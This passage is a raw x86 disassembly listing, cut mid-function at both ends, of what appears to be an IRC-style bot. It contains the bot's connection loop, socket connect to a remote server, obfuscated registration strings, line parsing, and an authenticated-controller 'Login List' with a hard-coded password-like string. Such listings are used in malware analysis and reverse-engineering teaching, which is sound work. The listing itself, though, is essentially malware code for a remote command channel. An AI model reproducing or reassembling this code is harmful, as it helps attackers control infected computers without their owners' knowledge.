		cmp	[ebp+var_C], ebx
		jz	short loc_40FAED


loc_40FAD3:				; CODE XREF: sub_40FA20+92j
		push	dword_454450
		lea	eax, [ebp+var_9C]
		push	edi
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 14h


loc_40FAED:				; CODE XREF: sub_40FA20+B1j
		push	[ebp+var_1C]
		call	sub_41C059
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40FA20	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412049


loc_40FAFF:				; CODE XREF: sub_412049+5j
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+28h], 0
		call	sub_40FDC0
		and	byte ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		mov	byte ptr [esi+5], 1
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_412049
; ---------------------------------------------------------------------------


loc_40FB1F:				; CODE XREF: .text:00412064j
		mov	eax, [ecx+28h]
		test	eax, eax
		jz	short locret_40FB2C
		push	eax
		call	sub_40FCCD

locret_40FB2C:				; CODE XREF: .text:0040FB24j
		retn
; ---------------------------------------------------------------------------


loc_40FB2D:				; DATA XREF: sub_41A0E6+1Co
		mov	eax, [esp+4]
		sub	esp, 240h
		mov	ecx, 90h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		rep movsd
		mov	edi, dword_42F164
		mov	dword ptr [eax+0BCh], 1
		mov	esi, 3E8h


loc_40FB5D:				; CODE XREF: .text:0040FB9Ej
		call	edi ; dword_42F164
		xor	edx, edx
		mov	ecx, esi
		div	ecx
		mov	ecx, dword_45450C
		xor	edx, edx
		mov	ebp, esi
		mov	ebx, eax
		mov	eax, ecx
		div	ebp
		mov	ebp, 5DCh
		sub	ebx, eax
		cmp	ebx, ebp
		ja	short loc_40FBA0
		mov	ecx, [esp+10h]
		call	sub_41111B
		mov	ecx, [esp+10h]
		push	eax
		call	sub_4105B8
		push	16E360h
		call	dword_42F15C	; Sleep
		jmp	short loc_40FB5D
; ---------------------------------------------------------------------------


loc_40FBA0:				; CODE XREF: .text:0040FB7Ej
		mov	eax, ecx
		xor	edx, edx
		mov	ecx, esi
		push	ebp
		div	ecx
		mov	ebx, eax
		call	edi ; dword_42F164
		xor	edx, edx
		mov	ecx, esi
		div	ecx
		sub	eax, ebx
		push	eax
		push	ebx
		call	edi ; dword_42F164
		xor	edx, edx
		div	esi
		push	eax
		push	offset aPingTimeout?DD ; "Ping Timeout?	(%d-%d)%d/%d"
		push	dword ptr [esp+24h]
		call	sub_41015C
		add	esp, 18h
		push	0
		call	dword_42F150	; ExitThread
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FBDB	proc near		; CODE XREF: sub_40FFB4+132p
					; sub_40FFB4+146p ...

var_1000	= byte ptr -1000h
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4220C0
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_1000]
		push	[ebp+arg_8]
		push	1000h
		push	eax
		call	sub_423640
		add	esp, 10h
		lea	eax, [ebp+var_1000]
		push	0
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+arg_4]
		call	dword_454350	; send
		inc	eax
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40FBDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FC2B	proc near		; CODE XREF: sub_40FC86+3Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		jmp	short loc_40FC56
; ---------------------------------------------------------------------------


loc_40FC35:				; CODE XREF: sub_40FC2B+2Ej
		cmp	[esi+8], edi
		jnz	short loc_40FC53
		push	0Ch
		call	sub_423F55
		mov	[esi+8], eax
		mov	[eax+4], edi
		mov	eax, [esi+8]
		pop	ecx
		mov	[eax], edi
		mov	eax, [esi+8]
		mov	[eax+8], edi


loc_40FC53:				; CODE XREF: sub_40FC2B+Dj
		mov	esi, [esi+8]


loc_40FC56:				; CODE XREF: sub_40FC2B+8j
		cmp	[esi+4], edi
		jnz	short loc_40FC35
		mov	eax, [esp+8+arg_8]
		push	[esp+8+arg_4]
		mov	[esi+4], eax
		call	sub_422120
		inc	eax
		push	eax
		call	sub_423F55
		pop	ecx
		mov	[esi], eax
		pop	ecx
		push	[esp+8+arg_4]
		push	eax
		call	dword_42F04C	; lstrcpyA
		pop	edi
		pop	esi
		retn	0Ch
sub_40FC2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FC86	proc near		; CODE XREF: sub_41A1C8+13p
					; sub_41A1C8+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	eax, [esi+28h]
		test	eax, eax
		jnz	short loc_40FCB9
		push	0Ch
		call	sub_423F55
		mov	[esi+28h], eax
		and	dword ptr [eax+4], 0
		mov	eax, [esi+28h]
		pop	ecx
		push	[esp+4+arg_4]
		and	dword ptr [eax], 0
		mov	eax, [esi+28h]
		push	[esp+8+arg_0]
		and	dword ptr [eax+8], 0
		push	dword ptr [esi+28h]
		jmp	short loc_40FCC2
; ---------------------------------------------------------------------------


loc_40FCB9:				; CODE XREF: sub_40FC86+8j
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	eax


loc_40FCC2:				; CODE XREF: sub_40FC86+31j
		mov	ecx, esi
		call	sub_40FC2B
		pop	esi
		retn	8
sub_40FC86	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FCCD	proc near		; CODE XREF: .text:0040FB27p
					; sub_40FCCD+Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_40FCDF
		push	eax
		call	sub_40FCCD


loc_40FCDF:				; CODE XREF: sub_40FCCD+Aj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40FCEC
		push	eax
		call	sub_421C78
		pop	ecx


loc_40FCEC:				; CODE XREF: sub_40FCCD+16j
		push	esi
		call	sub_421C78
		pop	ecx
		pop	esi
		retn	4
sub_40FCCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FCF7	proc near		; CODE XREF: sub_419B2F+22Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		mov	eax, offset dword_454510


loc_40FCFF:				; CODE XREF: sub_40FCF7+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40FD18
		add	eax, 0BFh
		inc	ebx
		cmp	eax, offset byte_45474D
		jl	short loc_40FCFF
		or	eax, 0FFFFFFFFh


loc_40FD14:				; CODE XREF: sub_40FCF7+5Cj
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40FD18:				; CODE XREF: sub_40FCF7+Bj
		push	esi
		mov	esi, ebx
		imul	esi, 0BFh
		push	edi
		mov	edi, dword_42F04C
		push	[esp+0Ch+arg_0]
		lea	eax, dword_454510[esi]
		push	eax
		call	edi ; dword_42F04C
		push	[esp+0Ch+arg_4]
		lea	eax, dword_454520[esi]
		push	eax
		call	edi ; dword_42F04C
		push	[esp+0Ch+arg_8]
		lea	eax, dword_454530[esi]
		push	eax
		call	edi ; dword_42F04C
		pop	edi
		mov	eax, ebx
		pop	esi
		jmp	short loc_40FD14
sub_40FCF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FD55	proc near		; CODE XREF: sub_410269+CAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		xor	edi, edi
		mov	esi, offset dword_454510


loc_40FD61:				; CODE XREF: sub_40FD55+54j
		cmp	byte ptr [esi],	0
		jz	short loc_40FD9C
		push	[esp+0Ch+arg_0]
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FD9C
		push	[esp+0Ch+arg_4]
		lea	eax, [esi+10h]
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FD9C
		push	[esp+0Ch+arg_8]
		lea	eax, [esi+20h]
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDB4


loc_40FD9C:				; CODE XREF: sub_40FD55+Fj
					; sub_40FD55+1Fj ...
		add	esi, 0BFh
		inc	edi
		cmp	esi, offset byte_45474D
		jl	short loc_40FD61
		or	eax, 0FFFFFFFFh


loc_40FDAE:				; CODE XREF: sub_40FD55+69j
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40FDB4:				; CODE XREF: sub_40FD55+45j
		push	edi
		mov	ecx, ebx
		call	sub_40FE00
		mov	eax, edi
		jmp	short loc_40FDAE
sub_40FD55	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FDC0	proc near		; CODE XREF: sub_412049-2543p
					; sub_40FFB4+B8p
		push	esi
		mov	esi, offset dword_454520


loc_40FDC6:				; CODE XREF: sub_40FDC0+3Cj
		push	10h
		lea	eax, [esi-10h]
		push	0
		push	eax
		call	sub_4221F0
		push	10h
		push	0
		push	esi
		call	sub_4221F0
		push	9Fh
		lea	eax, [esi+10h]
		push	0
		push	eax
		call	sub_4221F0
		add	esi, 0BFh
		add	esp, 24h
		cmp	esi, offset byte_45475D
		jl	short loc_40FDC6
		pop	esi
		retn
sub_40FDC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FE00	proc near		; CODE XREF: sub_40FD55+62p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		imul	esi, 0BFh
		lea	eax, dword_454510[esi]
		cmp	byte ptr [eax],	0
		jz	short loc_40FE4B
		push	10h
		push	0
		push	eax
		call	sub_4221F0
		push	10h
		lea	eax, dword_454520[esi]
		push	0
		push	eax
		call	sub_4221F0
		push	9Fh
		lea	eax, dword_454530[esi]
		push	0
		push	eax
		call	sub_4221F0
		xor	eax, eax
		add	esp, 24h
		inc	eax
		jmp	short loc_40FE4D
; ---------------------------------------------------------------------------


loc_40FE4B:				; CODE XREF: sub_40FE00+14j
		xor	eax, eax


loc_40FE4D:				; CODE XREF: sub_40FE00+49j
		pop	esi
		retn	4
sub_40FE00	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FE51	proc near		; CODE XREF: sub_410269+B1p
					; sub_419B2F+C4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, offset dword_454510


loc_40FE57:				; CODE XREF: sub_40FE51+4Dj
		cmp	byte ptr [esi],	0
		jz	short loc_40FE92
		push	[esp+4+arg_0]
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FE92
		push	[esp+4+arg_4]
		lea	eax, [esi+10h]
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FE92
		push	[esp+4+arg_8]
		lea	eax, [esi+20h]
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FEA6


loc_40FE92:				; CODE XREF: sub_40FE51+9j
					; sub_40FE51+19j ...
		add	esi, 0BFh
		cmp	esi, offset byte_45474D
		jl	short loc_40FE57
		xor	eax, eax


loc_40FEA2:				; CODE XREF: sub_40FE51+58j
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40FEA6:				; CODE XREF: sub_40FE51+3Fj
		xor	eax, eax
		inc	eax
		jmp	short loc_40FEA2
sub_40FE51	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FEAB	proc near		; CODE XREF: sub_419B2F+130p
					; sub_419B2F+1D8p ...
		mov	eax, offset dword_454510


loc_40FEB0:				; CODE XREF: sub_40FEAB+14j
		cmp	byte ptr [eax],	0
		jnz	short loc_40FEC4
		add	eax, 0BFh
		cmp	eax, offset byte_45474D
		jl	short loc_40FEB0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40FEC4:				; CODE XREF: sub_40FEAB+8j
		xor	eax, eax
		inc	eax
		retn
sub_40FEAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FEC8	proc near		; CODE XREF: sub_403B2C+7F6p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		push	esi
		push	edi
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		mov	edi, ecx
		push	offset aSLoginList ; "%s Login List:"
		push	ebp
		push	edi
		call	sub_4104F6
		add	esp, 10h
		xor	ebx, ebx
		mov	esi, offset dword_454510


loc_40FEED:				; CODE XREF: sub_40FEC8+62j
		cmp	byte ptr [esi],	0
		jz	short loc_40FF0D
		lea	eax, [esi+10h]
		lea	ecx, [eax+10h]
		push	ecx
		push	eax
		push	esi
		push	ebx
		push	offset aISS@S	; "<%i>	%s!%s@%s"
		push	ebp
		push	edi
		call	sub_4104F6
		add	esp, 1Ch
		jmp	short loc_40FF1D
; ---------------------------------------------------------------------------


loc_40FF0D:				; CODE XREF: sub_40FEC8+28j
		push	ebx
		push	offset aIEmpty	; "<%i>	<Empty>"
		push	ebp
		push	edi
		call	sub_4104F6
		add	esp, 10h


loc_40FF1D:				; CODE XREF: sub_40FEC8+43j
		add	esi, 0BFh
		inc	ebx
		cmp	esi, offset byte_45474D
		jl	short loc_40FEED
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		push	offset aSLoginListComp ; "%s Login List	complete."
		push	ebp
		push	edi
		call	sub_4104F6
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_40FEC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF47	proc near		; CODE XREF: sub_419B2F+1FEp
					; sub_419B2F+397p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4220C0
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx+4], 0
		jnz	short loc_40FF63
		xor	eax, eax
		inc	eax
		jmp	short loc_40FFB1
; ---------------------------------------------------------------------------


loc_40FF63:				; CODE XREF: sub_40FF47+15j
		push	esi
		lea	eax, [ebp+arg_8]
		push	edi
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_1000]
		xor	edi, edi
		push	1000h
		push	eax
		call	sub_423640
		add	esp, 10h
		mov	esi, offset dword_454510


loc_40FF87:				; CODE XREF: sub_40FF47+64j
		cmp	byte ptr [esi],	0
		jz	short loc_40FF9F
		lea	eax, [ebp+var_1000]
		push	eax
		push	esi
		push	ebx
		call	sub_410491
		add	esp, 0Ch
		add	edi, eax


loc_40FF9F:				; CODE XREF: sub_40FF47+43j
		add	esi, 0BFh
		cmp	esi, offset byte_45474D
		jl	short loc_40FF87
		mov	eax, edi
		pop	edi
		pop	esi


loc_40FFB1:				; CODE XREF: sub_40FF47+1Aj
		pop	ebx
		leave
		retn
sub_40FF47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFB4	proc near		; CODE XREF: sub_412267+50Cp

var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= byte ptr -10h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+4], 0
		jz	short loc_40FFCC
		xor	eax, eax
		inc	eax
		jmp	loc_410124
; ---------------------------------------------------------------------------


loc_40FFCC:				; CODE XREF: sub_40FFB4+Ej
		cmp	dword_4543FC, 0
		jnz	short loc_40FFF2


loc_40FFD5:				; CODE XREF: sub_40FFB4+3Cj
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		call	dword_454238	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40FFF2
		push	7530h
		call	dword_42F15C	; Sleep
		jmp	short loc_40FFD5
; ---------------------------------------------------------------------------


loc_40FFF2:				; CODE XREF: sub_40FFB4+1Fj
					; sub_40FFB4+2Fj
		xor	ebx, ebx
		push	6
		inc	ebx
		push	ebx
		push	2
		call	dword_454394	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_410055
		push	[ebp+arg_0]
		call	dword_454398	; gethostbyname
		test	eax, eax
		jz	short loc_41004D
		mov	eax, [eax+0Ch]
		push	4
		push	dword ptr [eax]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4223F0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_454314	; ntohs
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_4542AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41005C


loc_41004D:				; CODE XREF: sub_40FFB4+5Ej
		push	dword ptr [esi]
		call	dword_4543AC	; closesocket


loc_410055:				; CODE XREF: sub_40FFB4+51j
		mov	eax, ebx
		jmp	loc_410124
; ---------------------------------------------------------------------------


loc_41005C:				; CODE XREF: sub_40FFB4+97j
					; DATA XREF: .text:off_436B7Co
		push	edi
		mov	edi, dword_42F164
		call	edi ; dword_42F164
		mov	ecx, esi
		mov	dword_45450C, eax
		call	sub_40FDC0
		call	edi ; dword_42F164
		mov	dword_4555F8, eax
		call	edi ; dword_42F164
		push	[ebp+arg_8]
		mov	dword_45450C, eax
		mov	[esi+4], bl
		call	sub_422120
		inc	eax
		push	eax
		call	sub_423F55
		mov	ebx, dword_42F04C
		pop	ecx
		pop	ecx
		mov	[esi+8], eax
		push	[ebp+arg_8]
		push	eax
		call	ebx ; dword_42F04C
		push	[ebp+arg_C]
		call	sub_422120
		inc	eax
		push	eax
		call	sub_423F55
		pop	ecx
		mov	[esi+0Ch], eax
		pop	ecx
		push	[ebp+arg_10]
		push	eax
		call	ebx ; dword_42F04C
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aSS	; "%s %s\r\n"
		jz	short loc_4100EE
		push	offset byte_44D6A4
		push	[ebp+arg_14]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4100EE
		push	[ebp+arg_14]
		push	offset aZ	; "=Z\\"
		push	ebx
		push	dword ptr [esi]
		push	esi
		call	sub_40FBDB
		add	esp, 14h


loc_4100EE:				; CODE XREF: sub_40FFB4+111j
					; sub_40FFB4+124j
		push	[ebp+arg_8]
		push	offset dword_43C088
		push	ebx
		push	dword ptr [esi]
		push	esi
		call	sub_40FBDB
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	offset a8hj	; "8HJ"
		push	offset aSS0S	; "%s %s * 0 :%s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_40FBDB
		add	esp, 2Ch
		call	edi ; dword_42F164
		mov	dword_45450C, eax
		xor	eax, eax
		pop	edi


loc_410124:				; CODE XREF: sub_40FFB4+13j
					; sub_40FFB4+A3j
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_40FFB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41012A	proc near		; CODE XREF: sub_403B2C+871p
					; sub_40CDE2+643p ...
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+4], 0
		jz	short loc_41015A
		push	offset aLeaving__ ; "leaving.."
		push	esi
		call	sub_41015C
		pop	ecx
		and	byte ptr [esi+4], 0
		and	byte ptr [esi+5], 0
		pop	ecx
		push	2
		push	dword ptr [esi]
		call	dword_4543A8	; shutdown
		push	dword ptr [esi]
		call	dword_4543AC	; closesocket


loc_41015A:				; CODE XREF: sub_41012A+7j
		pop	esi
		retn
sub_41012A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41015C	proc near		; CODE XREF: sub_403B2C+85Bp
					; sub_40CDE2+62Dp ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4220C0
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jz	short loc_4101CD
		cmp	[ebp+arg_4], 0
		jz	short loc_4101AF
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_1000]
		push	[ebp+arg_4]
		push	1000h
		push	eax
		call	sub_423640
		lea	eax, [ebp+var_1000]
		push	eax
		push	offset dword_43C0A8
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_40FBDB
		add	esp, 24h
		jmp	short loc_4101C4
; ---------------------------------------------------------------------------


loc_4101AF:				; CODE XREF: sub_41015C+1Bj
		push	offset dword_43C0A8
		push	offset aS_4	; "%s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_40FBDB
		add	esp, 10h


loc_4101C4:				; CODE XREF: sub_41015C+51j
		test	eax, eax
		jz	short loc_4101CD
		xor	eax, eax
		inc	eax
		jmp	short loc_4101CF
; ---------------------------------------------------------------------------


loc_4101CD:				; CODE XREF: sub_41015C+15j
					; sub_41015C+6Aj
		xor	eax, eax


loc_4101CF:				; CODE XREF: sub_41015C+6Fj
		pop	esi
		leave
		retn
sub_41015C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101D2	proc near		; CODE XREF: sub_412267+513p

var_400		= byte ptr -400h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+4], 0
		jz	short loc_41022E
		push	edi


loc_4101E5:				; CODE XREF: sub_4101D2+55j
		push	0
		lea	eax, [ebp+var_400]
		push	3FFh
		push	eax
		push	dword ptr [esi]
		call	dword_454330	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410229
		test	edi, edi
		jz	short loc_410229
		call	dword_42F164	; GetTickCount
		and	[ebp+edi+var_400], 0
		mov	dword_45450C, eax
		lea	eax, [ebp+var_400]
		mov	ecx, esi
		push	eax
		call	sub_410234
		jmp	short loc_4101E5
; ---------------------------------------------------------------------------


loc_410229:				; CODE XREF: sub_4101D2+2Ej
					; sub_4101D2+32j
		and	byte ptr [esi+4], 0
		pop	edi


loc_41022E:				; CODE XREF: sub_4101D2+10j
		xor	eax, eax
		pop	esi
		inc	eax
		leave
		retn
sub_4101D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_410234	proc near		; CODE XREF: sub_4101D2+50p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebp, ecx
		mov	ebx, offset asc_438858 ; "\r\n"
		jmp	short loc_410253
; ---------------------------------------------------------------------------


loc_410245:				; CODE XREF: sub_410234+2Cj
		and	byte ptr [esi],	0
		push	edi
		mov	ecx, ebp
		call	sub_410269
		lea	edi, [esi+2]


loc_410253:				; CODE XREF: sub_410234+Fj
		push	ebx
		push	edi
		call	sub_4235C0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jnz	short loc_410245
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_410234	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410269	proc near		; CODE XREF: sub_410234+17p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	byte ptr [eax],	3Ah
		push	edi
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], ebx
		push	20h
		jnz	loc_4103F5
		lea	edi, [eax+1]
		push	edi
		call	sub_4233B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_410453
		mov	[eax], bl
		inc	eax
		push	20h
		push	eax
		mov	[ebp+arg_0], eax
		call	sub_4233B0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4102B4
		mov	[esi], bl
		inc	esi


loc_4102B4:				; CODE XREF: sub_410269+46j
		push	21h
		push	edi
		mov	[ebp+var_14], edi
		call	sub_4233B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_10], eax
		jz	short loc_4102E5
		mov	[eax], bl
		inc	[ebp+var_10]
		push	40h
		push	[ebp+var_10]
		call	sub_4233B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		jz	short loc_4102E5
		mov	[eax], bl
		inc	[ebp+var_C]


loc_4102E5:				; CODE XREF: sub_410269+5Dj
					; sub_410269+75j
		mov	edi, [ebp+arg_0]
		push	offset aTf	; "'TF"
		push	edi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410445
		push	offset aZ_0	; "=Z]"
		push	edi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41033D


loc_41030E:				; CODE XREF: sub_410269+E3j
		push	[ebp+var_C]
		mov	ecx, [ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_40FE51
		test	eax, eax
		jz	loc_410445
		push	[ebp+var_C]
		mov	ecx, [ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_40FD55
		jmp	loc_410445
; ---------------------------------------------------------------------------


loc_41033D:				; CODE XREF: sub_410269+A3j
		push	offset dword_43C0A8
		push	edi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41030E
		push	offset dword_43C080
		push	edi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41037A
		push	20h
		push	esi
		mov	[ebp+var_8], esi
		call	sub_4233B0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410374


loc_410372:				; CODE XREF: sub_410269+139j
		mov	[esi], bl


loc_410374:				; CODE XREF: sub_410269+107j
		inc	esi
		jmp	loc_410445
; ---------------------------------------------------------------------------


loc_41037A:				; CODE XREF: sub_410269+F4j
		push	offset dword_43C078
		push	edi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4103A4
		push	20h
		push	esi
		mov	[ebp+var_8], esi
		call	sub_4233B0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_410453
		jmp	short loc_410372
; ---------------------------------------------------------------------------


loc_4103A4:				; CODE XREF: sub_410269+120j
		push	offset dword_43C088
		push	edi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410445
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		push	[ebp+var_14]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410445
		mov	ebx, [ebp+var_4]
		push	dword ptr [ebx+8]
		call	sub_421C78
		push	esi
		call	sub_422120
		inc	eax
		push	eax
		call	sub_423F55
		add	esp, 0Ch
		mov	[ebx+8], eax
		push	esi
		push	eax
		call	dword_42F04C	; lstrcpyA
		jmp	short loc_410445
; ---------------------------------------------------------------------------


loc_4103F5:				; CODE XREF: sub_410269+19j
		push	eax
		mov	edi, eax
		call	sub_4233B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_410453
		push	offset aRa	; "=RA"
		push	edi
		mov	[eax], bl
		lea	esi, [eax+1]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410439
		cmp	esi, ebx
		jz	short loc_410453
		mov	eax, [ebp+var_4]
		inc	esi
		push	esi
		push	offset aTa	; "=TA"
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [eax]
		push	eax
		call	sub_40FBDB
		add	esp, 14h
		jmp	short loc_410453
; ---------------------------------------------------------------------------


loc_410439:				; CODE XREF: sub_410269+1AEj
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_8], ebx


loc_410445:				; CODE XREF: sub_410269+8Ej
					; sub_410269+B8j ...
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	edi
		call	sub_41045A


loc_410453:				; CODE XREF: sub_410269+2Cj
					; sub_410269+133j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_410269	endp


; =============== S U B	R O U T	I N E =======================================



sub_41045A	proc near		; CODE XREF: sub_410269+1E5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+28h]
		jmp	short loc_410477
; ---------------------------------------------------------------------------


loc_410463:				; CODE XREF: sub_41045A+1Fj
		push	[esp+8+arg_0]
		push	dword ptr [esi]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41047D
		mov	esi, [esi+8]


